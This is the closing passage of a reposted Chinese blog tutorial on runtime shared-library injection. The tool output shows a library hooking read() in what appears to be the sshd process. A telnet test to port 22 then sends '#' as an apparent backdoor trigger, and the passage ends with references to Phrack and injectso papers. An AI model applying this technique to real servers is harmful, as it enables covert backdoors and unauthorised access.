[/lib/i686/libc.so.6] [/lib/ld-linux.so.2] [/home/grip2/me/so.so] lib name [/home/grip2/me/so.so] newread addr 0x40017574 DT_SYMTAB jmprel 0x804ac9c read rel addr 0x8084bc0 [/lib/libdl.so.2] [/usr/lib/libz.so.1] [/lib/libnsl.so.1] [/lib/libutil.so.1] [/lib/libcrypto.so.2] [/lib/i686/libc.so.6] [/lib/ld-linux.so.2] [/home/grip2/me/so.so] lib name [/home/grip2/me/so.so] oldread addr 0x40018764 intercept... new_addr 0x401fc530 injectso ok 注射成功,测试一下,看看效果,可以在任何机器上telnet被注射机的22端口, 并传送一个#号 $ telnet 127.0.0.1 22 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. SSH-1.99-OpenSSH_2.9p2 # 八 ** 参考文献 http://packetstormsecurity.nl/mag/phrack/phrack59.tar.gz http://www.blackhat.com/presentations/bh-europe-01/shaun-clowes/injectso3.ppt ftp://tsx.mit.edu/pub/linux/packages/GCC/ELF.doc.tar.gz http://www.big.net.au/~silvio/lib-redirection.txt http://online.securityfocus.com/data/library/subversiveld.pdf 本文来自ChinaUnix博客,如果查看原文请点:
转载地址:http://abhvi.baihongyu.com/